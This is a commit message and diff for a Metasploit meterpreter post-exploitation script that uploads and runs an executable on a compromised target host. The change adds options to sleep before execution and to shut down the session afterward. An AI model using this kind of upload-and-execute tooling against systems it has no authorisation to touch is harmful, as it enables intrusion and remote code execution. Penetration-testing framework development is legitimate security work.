Add -x and -s parameters to uploadexec

Added -x parameter to the script which indicates that the underlying
meterpreter session should be terminated when the execution has
finished.

Added -s parameter which takes a floating point number as an arg
which indicates the number of seconds to sleep between uploading
and executing. This helps in the case where http(s) payloads are
used for meterpreter and a time delay is needed to make sure that
the file has been written to disk and the lock released prior to
attempting to executing it.

scripts/meterpreter/uploadexec.rb

@@ -5,6 +5,8 @@ session = client
   "-e" => [ true, "Executable or script to upload to target host." ],
   "-o" => [ true, "Options for executable." ],
   "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],
+  "-x" => [ false,"Exit the session once the payload has been run." ],
+  "-s" => [ true,"Sleep for a number of seconds after uploading before executing." ],
   "-v" => [ false,"Verbose, return output of execution of uploaded executable." ],
   "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]
 )
@@ -93,6 +95,8 @@ helpcall = 0
 path = ""
 verbose = 0
 remove = 0
+quit = 0
+sleep_sec = nil
 @@exec_opts.parse(args) { |opt, idx, val|
   case opt
   when "-e"
@@ -105,8 +109,12 @@ remove = 0
     verbose = 1
   when "-h"
     helpcall = 1
+  when "-s"
+    sleep_sec = val.to_f
   when "-r"
     remove = 1
+  when "-x"
+    quit = 1
   end
 
 }
@@ -116,9 +124,20 @@ if args.length == 0 || helpcall == 1
 end
 print_status("Running Upload and Execute Meterpreter script....")
 exec = upload(session,file,path)
+if sleep_sec
+  print_status("\tSleeping for #{sleep_sec}s...")
+  sleep(sleep_sec) 
+end
 cmd_on_trgt_exec(session,exec,cmdopt,verbose)
 if remove == 1
   print_status("\tDeleting #{exec}")
   m_unlink(session, exec)
 end
+
+if quit == 1
+  print_status("Closing the session...")
+  session.core.shutdown rescue nil
+  session.shutdown_passive_dispatcher
+end
+
 print_status("Finished!")